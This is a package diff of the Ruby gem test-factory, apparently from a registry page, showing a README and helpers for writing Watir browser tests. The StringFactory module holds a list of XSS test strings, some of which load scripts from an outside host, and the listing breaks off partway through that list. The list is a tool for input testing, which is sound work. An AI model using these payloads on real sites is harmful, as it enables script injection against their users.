test-factory 0.0.1
Sign up to get free protection for your applications and to get access to all the features.
- data/README.md +146 -0
- data/lib/test-factory.rb +2 -0
- data/lib/test-factory/core_ext.rb +90 -0
- data/lib/test-factory/data_factory.rb +38 -0
- data/lib/test-factory/date_factory.rb +137 -0
- data/lib/test-factory/foundry.rb +45 -0
- data/lib/test-factory/page_factory.rb +54 -0
- data/lib/test-factory/string_factory.rb +127 -0
- data/test-factory.gemspec +13 -0
- metadata +71 -0
data/README.md
ADDED
@@ -0,0 +1,146 @@
|
|
1
|
+
rSmart's Test Factory Gem
|
2
|
+
=========================
|
3
|
+
|
4
|
+
Overview
|
5
|
+
--------
|
6
|
+
|
7
|
+
This gem contains the basic framework for [dryly](http://en.wikipedia.org/wiki/Don%27t_repeat_yourself) creating test scripts for the web site that needs testing.
|
8
|
+
|
9
|
+
Use it to abstract away from the underlying [Watir](http://www.watir.com) code and create your own [DSL](http://en.wikipedia.org/wiki/Domain_specific_language).
|
10
|
+
|
11
|
+
How to Start
|
12
|
+
------------
|
13
|
+
|
14
|
+
First install the gem, of course.
|
15
|
+
|
16
|
+
gem install test-factory
|
17
|
+
|
18
|
+
Now you'll want to start building your own page classes, using the methods in Test Factory as your tool chest.
|
19
|
+
|
20
|
+
Please note that the following example is *very* simplified and contrived, to keep every step as compartmentalized as possible. Once you've read through this, it is strongly recommended that you visit an actual repository that is using the test factory.
|
21
|
+
|
22
|
+
[Here](https://github.com/rSmart/sambal-cle) is one such.
|
23
|
+
|
24
|
+
Begin by creating a BasePage class. This class should inherit from PageFactory and contain sets of elements that are generally common across the pages of your site.
|
25
|
+
|
26
|
+
```ruby
|
27
|
+
require 'test-factory'
|
28
|
+
|
29
|
+
class BasePage < PageFactory
|
30
|
+
|
31
|
+
class << self
|
32
|
+
|
33
|
+
def header_elements
|
34
|
+
element(:main_menu) { |b| b.link(title: "Main Menu") }
|
35
|
+
element(:logout) { |b| b.button(value: "Logout") }
|
36
|
+
element(:administration) { |b| b.link(title: "Administration") }
|
37
|
+
|
38
|
+
action(:main_menu) { |p| p.main_menu.click }
|
39
|
+
action(:provide_feedback) { |b| b.link(title: "Provide Feedback").click }
|
40
|
+
action(:administration) { |p| p.administration.click }
|
41
|
+
end
|
42
|
+
end
|
43
|
+
end
|
44
|
+
|
45
|
+
```
|
46
|
+
|
47
|
+
Next, you create classes for the individual pages in your web site. These classes should inherit from your BasePage class, and should use any of the relevant methods defined in the BasePage class.
|
48
|
+
|
49
|
+
```ruby
|
50
|
+
class Home < BasePage
|
51
|
+
|
52
|
+
# This allows the header elements to be defined once
|
53
|
+
# in the BasePage class and then reused throughout your web pages...
|
54
|
+
header_elements
|
55
|
+
|
56
|
+
expected_element :title # When the Home class is instantiated (using the Foundry),
|
57
|
+
# the script will ensure that the :title element is present
|
58
|
+
# on the page before the script continues
|
59
|
+
|
60
|
+
# Now you define elements that are specific to your Home page...
|
61
|
+
element(:title) { |b| b.h3(id: "title") }
|
62
|
+
# and on and on...
|
63
|
+
|
64
|
+
end
|
65
|
+
```
|
66
|
+
|
67
|
+
Once you've got a bunch of classes set up for your site's various pages, you're going to want to create "data objects" to represent what goes into those pages. For this, you'll use the module DataObject. Your data classes should follow this basic structure:
|
68
|
+
|
69
|
+
```ruby
|
70
|
+
class YourDataObject
|
71
|
+
|
72
|
+
include DataFactory
|
73
|
+
|
74
|
+
# Define all the things you need to test about your data object.
|
75
|
+
# These are some example attributes...
|
76
|
+
attr_accessor :title, :id, :link, :status, :description
|
77
|
+
|
78
|
+
# Your data object has to know about Watir's browser object, so it's passed to it here, along
|
79
|
+
# with a hash containing all the attributes you want the data object to have
|
80
|
+
def initialize(browser, opts={})
|
81
|
+
@browser = browser
|
82
|
+
|
83
|
+
# Put any attributes here that you don't want to always have to define explicitly...
|
84
|
+
defaults = {
|
85
|
+
:title=>"My Data Title",
|
86
|
+
:description=>"My Data's Description"
|
87
|
+
}
|
88
|
+
options = defaults.merge(opts) # This line combines the defaults
|
89
|
+
# with any options you passed explicitly
|
90
|
+
set_options(options) # This line turns all the contents of the options
|
91
|
+
# Hash into YourDataObject's class instance variables
|
92
|
+
requires :id # This line allows you to specify any attributes that must
|
93
|
+
# be explicitly defined for the data object
|
94
|
+
end
|
95
|
+
|
96
|
+
# Now define a bunch of methods that are relevant to your data object.
|
97
|
+
# In general these methods will follow the CRUD pattern
|
98
|
+
|
99
|
+
def create
|
100
|
+
# Your code here...
|
101
|
+
end
|
102
|
+
|
103
|
+
def view
|
104
|
+
# Your code here...
|
105
|
+
end
|
106
|
+
|
107
|
+
def edit opts={}
|
108
|
+
# Your code here...
|
109
|
+
set_options(opts) # This updates all your class instance variables
|
110
|
+
# with any new values specified by the opts Hash.
|
111
|
+
end
|
112
|
+
|
113
|
+
def remove
|
114
|
+
# Your code here...
|
115
|
+
end
|
116
|
+
|
117
|
+
end
|
118
|
+
```
|
119
|
+
|
120
|
+
Now you have your basic infrastructure in place, and you can start writing your test cases using these classes.
|
121
|
+
|
122
|
+
```ruby
|
123
|
+
include Foundry # Gives you access to the methods that instantiate your Page and Data classes
|
124
|
+
|
125
|
+
# First, make the data object you're going to use for testing...
|
126
|
+
@my_thing = make YourDataObject :id=>"identifier", :description=>"It's lovely."
|
127
|
+
|
128
|
+
# Now, create the data in your site...
|
129
|
+
@my_thing.create
|
130
|
+
|
131
|
+
on MyPage do |page|
|
132
|
+
page.title.set "Bla bla"
|
133
|
+
# Very contrived example. You should be using your favorite verification framework here:
|
134
|
+
page.description==@my_thing.description ? puts "Passed" : puts "Failed"
|
135
|
+
end
|
136
|
+
|
137
|
+
```
|
138
|
+
|
139
|
+
Notice
|
140
|
+
------
|
141
|
+
|
142
|
+
Copyright 2012 rSmart, Inc., Licensed under the Educational Community License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
|
143
|
+
|
144
|
+
[http://www.osedu.org/licenses/ECL-2.0](http://www.osedu.org/licenses/ECL-2.0)
|
145
|
+
|
146
|
+
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
|
data/lib/test-factory.rb
ADDED
@@ -0,0 +1,90 @@
|
|
1
|
+
class Time
|
2
|
+
|
3
|
+
# Using the :year_range option (or no option), this method creates a
|
4
|
+
# Time object of a random value, within
|
5
|
+
# the year range specified (default is 5 years in the past).
|
6
|
+
#
|
7
|
+
# Using the :series option, this method returns an array
|
8
|
+
# containing a randomized Time object as its first element (limited by
|
9
|
+
# the specified :year_range value). Subsequent elements will be Time objects
|
10
|
+
# with values putting them later than the prior element, within the specified
|
11
|
+
# range value (see examples).
|
12
|
+
#
|
13
|
+
# Usage Examples:
|
14
|
+
# @example
|
15
|
+
# a random date...
|
16
|
+
# ?> Time.random
|
17
|
+
# => Tue Aug 05 00:00:00 EDT 2007
|
18
|
+
#
|
19
|
+
# birthdays, anyone?...
|
20
|
+
# 5.times { p Time.random(:year_range=>80) }
|
21
|
+
# Wed Feb 06 00:00:00 EDT 1974
|
22
|
+
# Tue Dec 22 00:00:00 EST 1992
|
23
|
+
# Fri Apr 14 00:00:00 EWT 1944
|
24
|
+
# Thu Jul 01 00:00:00 EDT 1993
|
25
|
+
# Wed Oct 02 00:00:00 EDT 2002
|
26
|
+
#
|
27
|
+
# A series of dates are useful for account-related info...
|
28
|
+
# ?> Time.random(:series=>[20.days, 3.years])
|
29
|
+
# => [Sat Jan 22 00:00:00 EST 2005,
|
30
|
+
# Sat Jan 29 12:58:45 EST 2005,
|
31
|
+
# Fri Sep 08 09:34:58 EDT 2006]
|
32
|
+
#
|
33
|
+
# or maybe to simulate events during an hour?...
|
34
|
+
# ?> Time.random(:series=>[1.hour,1.hour,1.hour])
|
35
|
+
# => [Wed Apr 21 00:00:00 EDT 2004,
|
36
|
+
# Wed Apr 21 00:45:59 EDT 2004,
|
37
|
+
# Wed Apr 21 01:02:47 EDT 2004,
|
38
|
+
# Wed Apr 21 01:31:00 EDT 2004]
|
39
|
+
def self.random(params={})
|
40
|
+
years_back = params[:year_range] || 5
|
41
|
+
year = (rand * (years_back)).ceil + (Time.now.year - years_back)
|
42
|
+
month = (rand * 12).ceil
|
43
|
+
day = (rand * 31).ceil
|
44
|
+
series = [date = Time.local(year, month, day)]
|
45
|
+
if params[:series]
|
46
|
+
params[:series].each do |some_time_after|
|
47
|
+
series << series.last + (rand * some_time_after).ceil
|
48
|
+
end
|
49
|
+
return series
|
50
|
+
end
|
51
|
+
date
|
52
|
+
end
|
53
|
+
|
54
|
+
end # Time
|
55
|
+
|
56
|
+
module Enumerable
|
57
|
+
|
58
|
+
# Use for getting a natural sort order instead of the ASCII
|
59
|
+
# sort order.
|
60
|
+
def alphabetize
|
61
|
+
sort { |a, b| grouped_compare(a, b) }
|
62
|
+
end
|
63
|
+
|
64
|
+
# Use for sorting an Enumerable object in place.
|
65
|
+
def alphabetize!
|
66
|
+
sort! { |a, b| grouped_compare(a, b) }
|
67
|
+
end
|
68
|
+
|
69
|
+
private
|
70
|
+
def grouped_compare(a, b)
|
71
|
+
loop {
|
72
|
+
a_chunk, a = extract_alpha_or_number_group(a)
|
73
|
+
b_chunk, b = extract_alpha_or_number_group(b)
|
74
|
+
ret = a_chunk <=> b_chunk
|
75
|
+
return -1 if a_chunk == ''
|
76
|
+
return ret if ret != 0
|
77
|
+
}
|
78
|
+
end
|
79
|
+
|
80
|
+
def extract_alpha_or_number_group(item)
|
81
|
+
test_item = item.downcase
|
82
|
+
matchdata = /([a-z]+|[\d]+)/.match(test_item)
|
83
|
+
if matchdata.nil?
|
84
|
+
["", ""]
|
85
|
+
else
|
86
|
+
[matchdata[0], test_item = test_item[matchdata.offset(0)[1] .. -1]]
|
87
|
+
end
|
88
|
+
end
|
89
|
+
|
90
|
+
end # Enumerable
|
@@ -0,0 +1,38 @@
|
|
1
|
+
# Provides a set of tools used to create your Data Object classes.
|
2
|
+
module DataFactory
|
3
|
+
|
4
|
+
# Add this to the bottom of your Data Object's initialize method.
|
5
|
+
# Converts the contents of the hash into the class's instance variables.
|
6
|
+
# @param hash [Hash] Contains all options required for creating the needed Data Object
|
7
|
+
def set_options(hash)
|
8
|
+
hash.each do |key, value|
|
9
|
+
instance_variable_set("@#{key}", value)
|
10
|
+
end
|
11
|
+
end
|
12
|
+
alias update_options set_options
|
13
|
+
|
14
|
+
# Items passed to this method are checked to ensure that the associated class instance variable
|
15
|
+
# is not nil. If it is, the script is aborted and an error is thrown, describing what information
|
16
|
+
# the Data Object requires before the script can run.
|
17
|
+
# @param elements [Array] the list of items that are required.
|
18
|
+
#
|
19
|
+
# @example
|
20
|
+
#
|
21
|
+
# requires :site :assignment
|
22
|
+
#
|
23
|
+
def requires(*elements)
|
24
|
+
elements.each do |inst_var|
|
25
|
+
raise "You must explicitly define the #{inst_var} variable for the #{self}." if inst_var==nil
|
26
|
+
end
|
27
|
+
end
|
28
|
+
|
29
|
+
# Transform for use with data object instance variables
|
30
|
+
# that refer to checkboxes or radio buttons.
|
31
|
+
# @param checkbox [Watir::CheckBox] The checkbox on the page that you want to inspect
|
32
|
+
# @returns :set or :clear
|
33
|
+
def checkbox_setting(checkbox)
|
34
|
+
checkbox.set? ? :set : :clear
|
35
|
+
end
|
36
|
+
alias radio_setting checkbox_setting
|
37
|
+
|
38
|
+
end
|
@@ -0,0 +1,137 @@
|
|
1
|
+
# Some date and time helper functions....
|
2
|
+
module DateFactory
|
3
|
+
|
4
|
+
MONTHS = %w{JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC}
|
5
|
+
|
6
|
+
def an_hour_ago
|
7
|
+
date_factory(Time.now - 3600)
|
8
|
+
end
|
9
|
+
alias last_hour an_hour_ago
|
10
|
+
|
11
|
+
def right_now
|
12
|
+
date_factory(Time.now)
|
13
|
+
end
|
14
|
+
|
15
|
+
def in_an_hour
|
16
|
+
date_factory(Time.now + 3600)
|
17
|
+
end
|
18
|
+
alias next_hour in_an_hour
|
19
|
+
|
20
|
+
def last_year
|
21
|
+
date_factory(Time.now - (3600*24*365))
|
22
|
+
end
|
23
|
+
alias a_year_ago last_year
|
24
|
+
|
25
|
+
# Returns a randomly selected date/time from
|
26
|
+
# within the last year.
|
27
|
+
def in_the_last_year
|
28
|
+
date_factory(Time.random(:year_range=>1))
|
29
|
+
end
|
30
|
+
|
31
|
+
def last_month
|
32
|
+
index = MONTHS.index(current_month)
|
33
|
+
return MONTHS[index-1]
|
34
|
+
end
|
35
|
+
|
36
|
+
def hours_ago(hours)
|
37
|
+
date_factory(Time.now - hours*3600)
|
38
|
+
end
|
39
|
+
|
40
|
+
def hours_from_now(hours)
|
41
|
+
date_factory(Time.now + hours*3600)
|
42
|
+
end
|
43
|
+
|
44
|
+
# Takes an integer representing
|
45
|
+
# the count of minutes as the parameter, and
|
46
|
+
# returns the date_factory hash for the
|
47
|
+
# resulting Time value.
|
48
|
+
def minutes_ago(mins)
|
49
|
+
date_factory(Time.now - mins*60)
|
50
|
+
end
|
51
|
+
|
52
|
+
def minutes_from_now(mins)
|
53
|
+
date_factory(Time.now + mins*60)
|
54
|
+
end
|
55
|
+
|
56
|
+
# Returns the current month as an
|
57
|
+
# upper-case 3-letter string.
|
58
|
+
# example: "JUL"
|
59
|
+
def current_month
|
60
|
+
Time.now.strftime("%^b")
|
61
|
+
end
|
62
|
+
|
63
|
+
def next_month
|
64
|
+
index = MONTHS.index(current_month)
|
65
|
+
if index < 11
|
66
|
+
return MONTHS[index+1]
|
67
|
+
else
|
68
|
+
return MONTHS[0]
|
69
|
+
end
|
70
|
+
end
|
71
|
+
|
72
|
+
def in_a_year
|
73
|
+
date_factory(Time.now + (3600*24*365))
|
74
|
+
end
|
75
|
+
|
76
|
+
def yesterday
|
77
|
+
date_factory(Time.now - (3600*24))
|
78
|
+
end
|
79
|
+
|
80
|
+
def tomorrow
|
81
|
+
date_factory(Time.now + (3600*24))
|
82
|
+
end
|
83
|
+
|
84
|
+
def in_a_week
|
85
|
+
date_factory(Time.now + (3600*24*7))
|
86
|
+
end
|
87
|
+
alias next_week in_a_week
|
88
|
+
|
89
|
+
def a_week_ago
|
90
|
+
date_factory(Time.now - (3600*24*7))
|
91
|
+
end
|
92
|
+
|
93
|
+
def next_monday
|
94
|
+
date_factory(Time.at(Time.now+(8-Time.now.wday)*24*3600))
|
95
|
+
end
|
96
|
+
|
97
|
+
# Formats a date string Sakai-style.
|
98
|
+
# Useful for verifying creation dates and such.
|
99
|
+
#
|
100
|
+
# @param time_object [Time] the moment that you want converted to the string
|
101
|
+
# @returns [String] a date formatted to look like this: Jun 8, 2012 12:02 pm
|
102
|
+
def make_date(time_object)
|
103
|
+
month = time_object.strftime("%b ")
|
104
|
+
day = time_object.strftime("%-d")
|
105
|
+
year = time_object.strftime(", %Y ")
|
106
|
+
mins = time_object.strftime(":%M %P")
|
107
|
+
hour = time_object.strftime("%l").to_i
|
108
|
+
return month + day + year + hour.to_s + mins
|
109
|
+
end
|
110
|
+
|
111
|
+
# Takes a time object and returns a hash containing
|
112
|
+
# various parts of the relevant date.
|
113
|
+
# @param time_object [Time] the moment you want to convert
|
114
|
+
# @returns [Hash] a hash object containing various parts of the date/time you passed to the method
|
115
|
+
def date_factory(time_object)
|
116
|
+
{
|
117
|
+
:sakai=>make_date(time_object),
|
118
|
+
:sakai_rounded=>make_date(time_object).gsub!(/:\d+/, ":#{Time.at(time_object.to_i/(5*60)*(5*60)).strftime("%M")}"), # Date with time rounded to nearest 5-minute mark.
|
119
|
+
:short_date=>time_object.strftime("%b %-d, %Y"), # => "Oct 18, 2013"
|
120
|
+
:samigo=>time_object.strftime("%m/%d/%Y %I:%M:%S %p"), # => "10/30/2012 07:02:05 AM"
|
121
|
+
:MON => time_object.strftime("%^b"), # => "DEC"
|
122
|
+
:Mon => time_object.strftime("%b"), # => "Jan"
|
123
|
+
:Month => time_object.strftime("%B"), # => "February"
|
124
|
+
:month_int => time_object.month, # => 3
|
125
|
+
:day_of_month => time_object.day, # => 17 Note this is not zero-padded
|
126
|
+
:weekday => time_object.strftime("%A"), # => "Monday"
|
127
|
+
:wkdy => time_object.strftime("%a"), # => "Tue"
|
128
|
+
:year => time_object.year, # => 2013
|
129
|
+
:hour => time_object.strftime("%I").to_i, # => "07" Zero-padded, 12-hour clock
|
130
|
+
:minute => (time_object).strftime("%M"), # => "02" Zero-padded
|
131
|
+
:minute_rounded => (Time.at(time_object.to_i/(5*60)*(5*60))).strftime("%M"), # => "05" Zero-padded, rounded to 5-minute increments
|
132
|
+
:meridian => time_object.strftime("%P"), # => "pm"
|
133
|
+
:MERIDIAN => time_object.strftime("%p") # => "AM"
|
134
|
+
}
|
135
|
+
end
|
136
|
+
|
137
|
+
end
|
@@ -0,0 +1,45 @@
|
|
1
|
+
# This module provides methods that instantiate the page and data classes.
|
2
|
+
module Foundry
|
3
|
+
|
4
|
+
# Using the page_url defined in the provided page_class,
|
5
|
+
# this method will enter that url into the browser's address bar, then run the block of
|
6
|
+
# code that you specify.
|
7
|
+
# @param page_class [Class] the name of the page class that you want to instantiate
|
8
|
+
# @param &block [C] this is the block of code that you want to run while on the given page
|
9
|
+
def visit page_class, &block
|
10
|
+
on page_class, true, &block
|
11
|
+
end
|
12
|
+
|
13
|
+
# Instantiates the supplied page class, then runs the supplied block of code. Use this
|
14
|
+
# method when you are already on the site page you want to interact with.
|
15
|
+
# @param page_class [Class] the name of the page class that you want to instantiate
|
16
|
+
# @param visit [TrueClass, FalseClass] Essentially you will never have to specify this explicitly
|
17
|
+
def on page_class, visit=false, &block
|
18
|
+
@current_page = page_class.new @browser, visit
|
19
|
+
block.call @current_page if block
|
20
|
+
@current_page
|
21
|
+
end
|
22
|
+
alias on_page on
|
23
|
+
|
24
|
+
# Use this for making a data object in your test steps
|
25
|
+
#
|
26
|
+
# @param data_object_class [Class] The name of the class you want to use to build a data object for testing
|
27
|
+
# @param opts [Hash] The list of attributes you want to give to your data object
|
28
|
+
def make data_object_class, opts={}
|
29
|
+
data_object_class.new @browser, opts
|
30
|
+
end
|
31
|
+
|
32
|
+
# A helper method that takes a block of code and waits until it resolves to true.
|
33
|
+
# Useful when you need to wait for something to be on a page that's a little more
|
34
|
+
# involved than a simple element (for those, you should use the #expected_element
|
35
|
+
# method found in the PageFactory class)
|
36
|
+
# @param timeout [Fixnum] Defaults to 30 seconds
|
37
|
+
# @param message [String] The text thrown if the timeout is reached
|
38
|
+
#
|
39
|
+
# @example
|
40
|
+
# page.wait_until { |b| b.processing_message=="Done" }
|
41
|
+
def wait_until(timeout=30, message=nil, &block)
|
42
|
+
Object::Watir::Wait.until(timeout, message, &block)
|
43
|
+
end
|
44
|
+
|
45
|
+
end
|
@@ -0,0 +1,54 @@
|
|
1
|
+
class PageFactory
|
2
|
+
|
3
|
+
def initialize browser, visit = false
|
4
|
+
@browser = browser
|
5
|
+
goto if visit
|
6
|
+
expected_element if respond_to? :expected_element
|
7
|
+
has_expected_title? if respond_to? :has_expected_title?
|
8
|
+
end
|
9
|
+
|
10
|
+
def method_missing sym, *args, &block
|
11
|
+
@browser.send sym, *args, &block
|
12
|
+
end
|
13
|
+
|
14
|
+
class << self
|
15
|
+
|
16
|
+
def page_url url
|
17
|
+
define_method 'goto' do
|
18
|
+
@browser.goto url
|
19
|
+
end
|
20
|
+
end
|
21
|
+
|
22
|
+
def expected_element element_name, timeout=30
|
23
|
+
define_method 'expected_element' do
|
24
|
+
self.send(element_name).wait_until_present timeout
|
25
|
+
end
|
26
|
+
end
|
27
|
+
|
28
|
+
def expected_title expected_title
|
29
|
+
define_method 'has_expected_title?' do
|
30
|
+
has_expected_title = expected_title.kind_of?(Regexp) ? expected_title =~ @browser.title : expected_title == @browser.title
|
31
|
+
raise "Expected title '#{expected_title}' instead of '#{@browser.title}'" unless has_expected_title
|
32
|
+
end
|
33
|
+
end
|
34
|
+
|
35
|
+
def element element_name
|
36
|
+
raise "#{element_name} is being defined twice in #{self}!" if self.instance_methods.include?(element_name.to_sym)
|
37
|
+
define_method element_name.to_s do
|
38
|
+
yield self
|
39
|
+
end
|
40
|
+
end
|
41
|
+
alias :value :element
|
42
|
+
alias :action :element
|
43
|
+
alias :thing :element
|
44
|
+
|
45
|
+
def page_method method_name, &block
|
46
|
+
define_method method_name.to_s do |*thing|
|
47
|
+
Proc.new(&block).call *thing, self
|
48
|
+
end
|
49
|
+
end
|
50
|
+
alias :pgmd :page_method
|
51
|
+
|
52
|
+
end
|
53
|
+
|
54
|
+
end # PageMaker
|
@@ -0,0 +1,127 @@
|
|
1
|
+
# coding: UTF-8
|
2
|
+
module StringFactory
|
3
|
+
|
4
|
+
# A random string creator that draws from all printable ASCII characters
|
5
|
+
# from 33 to 128. Default length is 10 characters.
|
6
|
+
# @param length [Integer] The count of characters in the string
|
7
|
+
# @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
|
8
|
+
def random_string(length=10, s="")
|
9
|
+
length.enum_for(:times).inject(s) do |result, index|
|
10
|
+
s << rand(93) + 33
|
11
|
+
end
|
12
|
+
end
|
13
|
+
|
14
|
+
# A random string creator that draws from all printable ASCII and High ASCII characters
|
15
|
+
# from 33 to 256. Default length is 10 characters.
|
16
|
+
# @param length [Integer] The count of characters in the string
|
17
|
+
# @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
|
18
|
+
def random_high_ascii(length=10, s="")
|
19
|
+
length.enum_for(:times).inject(s) do |result, index|
|
20
|
+
s << rand(223) + 33
|
21
|
+
end
|
22
|
+
end
|
23
|
+
|
24
|
+
# A "friendlier" random string generator. No characters need to be escaped for valid URLs.
|
25
|
+
# Uses no Reserved or "Unsafe" characters.
|
26
|
+
# Also excludes the comma, the @ sign and the plus sign. Default length is 10 characters.
|
27
|
+
def random_nicelink(length=10)
|
28
|
+
chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ - .}
|
29
|
+
(0...length).map { chars[rand(chars.size)]}.join
|
30
|
+
end
|
31
|
+
|
32
|
+
# Returns a string that is properly formatted like an email address.
|
33
|
+
# The string returned defaults to 268 characters long.
|
34
|
+
# @param x [Integer] This is not the length of the whole string, but only of the "name" portion of the email, minus 2.
|
35
|
+
def random_email(x=62)
|
36
|
+
x > 62 ? x=62 : x=x
|
37
|
+
chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! # $ % & ' * + - / = ? ^ _ ` { | } ~}
|
38
|
+
random_alphanums(1) + (0...x).map { chars[rand(chars.size)]}.join + random_alphanums(1) + "@" + random_alphanums(60) + ".com"
|
39
|
+
end
|
40
|
+
|
41
|
+
# A random string generator that uses all characters
|
42
|
+
# available on an American Qwerty keyboard.
|
43
|
+
# @param length [Integer] The count of characters in the string
|
44
|
+
# @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
|
45
|
+
def random_alphanums_plus(length=10, s="")
|
46
|
+
chars = %w{ a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ` ~ ! @ # $% ^ & * ( ) _ + - = { } [ ] \ : " ; ' < > ? , . / }
|
47
|
+
length.times { s << chars[rand(chars.size)] }
|
48
|
+
s.to_s
|
49
|
+
end
|
50
|
+
|
51
|
+
# A random string generator that uses only letters and numbers in the string. Default length is 10 characters.
|
52
|
+
# @param length [Integer] The count of characters in the string
|
53
|
+
# @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
|
54
|
+
def random_alphanums(length=10, s="")
|
55
|
+
chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ0123456789'
|
56
|
+
length.times { s << chars[rand(chars.size)] }
|
57
|
+
s.to_s
|
58
|
+
end
|
59
|
+
|
60
|
+
# A random string generator that uses only lower case letters.
|
61
|
+
# @param length [Integer] The count of characters in the string
|
62
|
+
# @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
|
63
|
+
def random_letters(length=10, s="")
|
64
|
+
chars = 'abcdefghjkmnpqrstuvwxyz'
|
65
|
+
length.times { s << chars[rand(chars.size)] }
|
66
|
+
s.to_s
|
67
|
+
end
|
68
|
+
|
69
|
+
# Returns a block of text (of the specified type, see below) containing
|
70
|
+
# the specified number of "words" (each containing between 1 and 16 chars)
|
71
|
+
# randomly spread across the specified number of lines (note that
|
72
|
+
# the method does not allow the line count to be larger than
|
73
|
+
# the word count and will "fix" it if it is).
|
74
|
+
#
|
75
|
+
# @param word_count [Integer] The count of "words" in the string, separated by spaces or line feeds. If no parameters are provided, the method will return two alphanumeric "words" on two lines.
|
76
|
+
# @param line_count [Integer] The count of line feeds that will be randomly placed throughout the string
|
77
|
+
# @param char_type [:symbol] Determines the character content
|
78
|
+
# of the string.
|
79
|
+
#
|
80
|
+
# @example
|
81
|
+
#
|
82
|
+
# :alpha => "Alphanumeric" - Uses the #random_alphanums method
|
83
|
+
# :string => uses the #random_string method, so chars 33 through 128 will be included
|
84
|
+
# :ascii => All ASCII chars from 33 to 256 are fair game -> uses #random_high_ascii
|
85
|
+
def random_multiline(word_count=2, line_count=2, char_type=:alpha)
|
86
|
+
char_methods = {:alpha=>"random_alphanums(rand(16)+1)", :string=>"random_string(rand(16)+1)", :ascii=>"random_high_ascii(rand(16)+1)"}
|
87
|
+
if line_count > word_count
|
88
|
+
line_count = word_count - 1
|
89
|
+
end
|
90
|
+
words = []
|
91
|
+
non_words = []
|
92
|
+
word_count.times { words << eval(char_methods[char_type]) } # creating the words, adding to the array
|
93
|
+
(line_count - 1).times { non_words << "\n" } # adding the number of line feeds
|
94
|
+
unless word_count==line_count
|
95
|
+
(word_count - line_count - 1).times { non_words << " " } # adding the right number of spaces
|
96
|
+
end
|
97
|
+
non_words.shuffle! # Have to shuffle the line feeds around!
|
98
|
+
array = words.zip(non_words)
|
99
|
+
array.flatten!
|
100
|
+
array.join("")
|
101
|
+
end
|
102
|
+
|
103
|
+
# Picks at random from the list of XSS test strings, using
|
104
|
+
# the provided number as size of the list to choose from.
|
105
|
+
# It will randomly pre-pend the string with HTML closing tags.
|
106
|
+
#
|
107
|
+
# The strings are organized by length, with the shorter ones
|
108
|
+
# first. There are 102 strings.
|
109
|
+
def random_xss_string(number=102)
|
110
|
+
if number > 102
|
111
|
+
number = 102
|
112
|
+
end
|
113
|
+
xss = ["<PLAINTEXT>", "\\\";alert('XSS');//", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"mocha:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<BODY ONLOAD =alert('XSS')>", "<BR SIZE=\"&{alert('XSS')}\">", "¼script¾alert(¢XSS¢)¼/script¾", "<IMG SRC=\"livescript:alert('XSS')\">", "<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<A HREF=\"http://1113982867/\">XSS</A>", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=\"jav\tascript:alert('XSS');\">", "<XSS STYLE=\"behavior: url(xss.htc);\">", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<A HREF=\"http://66.102.7.147/\">XSS</A>", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BASE HREF=\"javascript:alert('XSS');//\">", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "<IMG SRC=\"jav
ascript:alert('XSS');\">", "<IMG SRC=\"jav
ascript:alert('XSS');\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<IMG SRC=\"jav	ascript:alert('XSS');\">", "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>", "<IMG SRC=\"  javascript:alert('XSS');\">", "<IMG SRC=javascript:alert("XSS")>", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<iframe src=http://ha.ckers.org/scriptlet.html <", "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>", "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>", "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BODY onload!\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", 